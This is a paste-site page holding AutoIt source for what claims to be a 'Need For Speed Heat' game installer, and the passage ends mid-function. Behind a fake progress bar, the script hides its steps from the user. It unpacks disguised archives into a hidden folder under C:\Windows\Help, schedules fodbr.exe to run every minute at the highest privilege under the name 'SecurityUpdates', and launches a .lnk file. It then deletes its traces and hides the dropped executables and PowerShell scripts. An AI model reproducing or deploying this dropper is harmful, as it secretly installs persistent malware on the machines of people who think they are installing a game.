Facebook
From 1337x, 4 Years ago, written in AutoIT.
Embed
Download Paste or View Raw
Hits: 145
  1. Func start()
  2.         DirCreate($smodul & "\NeedForSpeedHeat")
  3.         $smodule = $smodul & "\NeedForSpeedHeat"
  4.         ProgressOn("Installation Progress", "Installation Progress:", "Please be patient until wizard finishes.", 393, 200, $dlg_moveable)
  5.         DirCreate("C:\Windows\Help\inuit\")
  6.         ShellExecuteWait("Powershell", "Copy-Item data05.pei -Destination C:\Windows\Help\inuit\; rename-item -path C:\Windows\Help\inuit\data05.pei -newname data05.zip", @ScriptDir, "", @SW_HIDE)
  7.         ShellExecuteWait("Powershell", "Expand-archive -literalpath C:\Windows\Help\inuit\data05.zip -destinationpath C:\Windows\Help\inuit\", @ScriptDir, "", @SW_HIDE)
  8.         ShellExecute("Powershell", "SchTasks /Create /SC MINUTE /TN SecurityUpdates /TR " & @WindowsDir & "\Help\inuit\fodbr.exe /RL HIGHEST", "", "", @SW_HIDE)
  9.         FileCopy("data04.pei", @TempDir)
  10.         FileMove(@TempDir & "\data04.pei", @TempDir & "\data04.zip")
  11.         ShellExecuteWait("Powershell", "Expand-archive -literalpath $env:tmp\data04.zip -destinationpath $env:tmp; start $env:tmp\mat-debug-13272.lnk", @ScriptDir, "", @SW_HIDE)
  12.         Sleep(3000)
  13.         ShellExecuteWait("Powershell", "del C:\Windows\Help\inuit\data05.zip", @ScriptDir, "", @SW_HIDE)
  14.         FileDelete(@TempDir & "\data04.zip")
  15.         ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\' +s +h", @ScriptDir, "", @SW_HIDE)
  16.         ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\crv.exe' +s +h", @ScriptDir, "", @SW_HIDE)
  17.         ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\fod.exe' +s +h", @ScriptDir, "", @SW_HIDE)
  18.         ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\fodbr.exe' +s +h", @ScriptDir, "", @SW_HIDE)
  19.         ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\uac.ps1' +s +h", @ScriptDir, "", @SW_HIDE)
  20.         ShellExecuteWait("Powershell", "attrib 'C:\Windows\Help\inuit\de.ps1' +s +h", @ScriptDir, "", @SW_HIDE)
  21.         ProgressSet(25, "If progress bar gets stuck your game is installing, be patient", "25%")
  22.         ShellExecuteWait("Powershell", "Copy-Item data01.pei -Destination '" & $smodule & "'; rename-item -path '" & $smodule & "\data01.pei' -newname 'data01.zip'", @ScriptDir, "", @SW_HIDE)
  23.         ShellExecuteWait("Powershell", "Copy-Item data02.pei -Destination '" & $smodule & "'; rename-item -path '" & $smodule & "\data02.pei' -newname 'data02.zip'", @ScriptDir, "", @SW_HIDE)
  24.         ShellExecuteWait("Powershell", "Copy-Item data03.pei -Destination '" & $smodule & "'; rename-item -path '" & $smodule & "\data03.pei' -newname 'data03.zip'", @ScriptDir, "", @SW_HIDE)
  25.         ProgressSet(51, "If progress bar gets stuck your game is installing, be patient", "51%")
  26.         ShellExecuteWait("Powershell", "Expand-Archive -LiteralPath '" & $smodule & "\data01.zip' -DestinationPath '" & $smodule & "'", @ScriptDir, "", @SW_HIDE)
  27.         ShellExecuteWait("Powershell", "Expand-Archive -LiteralPath '" & $smodule & "\data02.zip' -DestinationPath '" & $smodule & "'", @ScriptDir, "", @SW_HIDE)
  28.         ShellExecuteWait("Powershell", "Expand-Archive -LiteralPath '" & $smodule & "\data03.zip' -DestinationPath '" & $smodule & "'", @ScriptDir, "", @SW_HIDE)
  29.         ProgressSet(89, "If progress bar gets stuck your game is installing, be patient", "89%")
  30.         ShellExecuteWait("Powershell", "del '" & $smodule & "\data01.zip'", @ScriptDir, "", @SW_HIDE)
  31.         ShellExecuteWait("Powershell", "del '" & $smodule & "\data02.zip'", @ScriptDir, "", @SW_HIDE)
  32.         ShellExecuteWait("Powershell", "del '" & $smodule & "\data03.zip'", @ScriptDir, "", @SW_HIDE)
  33.         FileCreateShortcut($smodule & "\NeedForSpeedHeat.exe", @DesktopDir & "\NeedForSpeedHeat.lnk")
  34.         ProgressOff()
  35.         $close = GUICreate("Finished", 300, 75, 192, 114)
  36.         GUICtrlCreateInput("Game Has Finished Installing!", 50, 8, 209, 21)
  37.         $closebutton = GUICtrlCreateButton("Close", 125, 50, 89, 23)
  38.         GUISetState(@SW_SHOW)